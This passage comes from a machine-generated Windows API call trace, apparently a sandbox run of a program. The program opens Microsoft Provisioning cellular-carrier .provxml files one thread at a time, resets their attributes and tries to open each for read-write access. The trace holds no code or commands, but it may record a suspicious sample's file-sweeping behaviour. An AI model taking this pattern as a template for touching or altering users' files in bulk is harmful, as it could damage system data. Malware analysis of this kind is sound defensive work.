(Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\689__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.593] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.593] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\689__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.593] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.593] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2058) returned 1 [0182.593] RtlExitUserThread (Status=0x0) Thread: id = 3304 os_tid = 0x1190 [0182.453] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\68__connections_cellular_china mobile (china)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.592] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.592] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\68__connections_cellular_china mobile (china)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.592] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1598) returned 1 [0182.592] RtlExitUserThread (Status=0x0) Thread: id = 3305 os_tid = 0x11ac [0182.454] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\690__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.591] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.591] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\690__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.591] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.591] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1f00) returned 1 [0182.591] RtlExitUserThread (Status=0x0) Thread: id = 3306 os_tid = 0x11c8 [0182.454] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\691__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.589] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.590] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\691__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.590] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2868) returned 1 [0182.590] RtlExitUserThread (Status=0x0) Thread: id = 3307 os_tid = 0x1238 [0182.475] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\692__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.554] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.555] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\692__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.555] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.555] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1440) returned 1 [0182.555] RtlExitUserThread (Status=0x0) Thread: id = 3308 os_tid = 0x1264 [0182.476] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\693__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.701] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.702] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\693__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.702] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.702] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe29c0) returned 1 [0182.702] RtlExitUserThread (Status=0x0) Thread: id = 3309 os_tid = 0x126c [0182.476] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\694__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.588] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.588] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\694__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.589] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe16f0) returned 1 [0182.589] RtlExitUserThread (Status=0x0) Thread: id = 3310 os_tid = 0x127c [0182.477] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\695__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml")) returned 0x20 [0182.587] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.587] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\695__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.587] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12e8) returned 1 [0182.588] RtlExitUserThread (Status=0x0) Thread: id = 3311 os_tid = 0x1284 [0182.478] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\696__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml")) returned 0x20 [0182.586] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.586] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\696__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.586] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.586] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1848) returned 1 [0182.586] RtlExitUserThread (Status=0x0) Thread: id = 3312 os_tid = 0x3f4 [0182.479] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\697__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml")) returned 0x20 [0182.581] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.581] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\697__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.581] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.581] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe21b0) returned 1 [0182.581] RtlExitUserThread (Status=0x0) Thread: id = 3313 os_tid = 0x12c [0182.479] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\698__connections_cellular_3 (austria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.580] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.580] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\698__connections_cellular_3 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.580] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.580] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff25d0) returned 1 [0182.580] RtlExitUserThread (Status=0x0) Thread: id = 3314 os_tid = 0xdc4 [0183.059] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\699__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0183.216] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.216] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\699__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.216] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.216] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304f568) returned 1 [0183.217] RtlExitUserThread (Status=0x0) Thread: id = 3315 os_tid = 0xdd0 [0183.059] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\69__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0183.215] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.215] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\69__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.215] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.215] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304f2b8) returned 1 [0183.215] RtlExitUserThread (Status=0x0) Thread: id = 3316 os_tid = 0x1288 [0183.060] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\6__connections_cellular_telefonica (argentina)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.214] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.214] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\6__connections_cellular_telefonica (argentina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.214] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.214] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304e298) returned 1 [0183.214] RtlExitUserThread (Status=0x0) Thread: id = 3317 os_tid = 0x1290 [0183.060] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\700__connections_cellular_3 (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.211] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.211] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\700__connections_cellular_3 (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.211] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.211] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02ea0) returned 1 [0183.211] RtlExitUserThread (Status=0x0) Thread: id = 3318 os_tid = 0x1298 [0183.061] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\701__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0183.209] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.210] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\701__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), 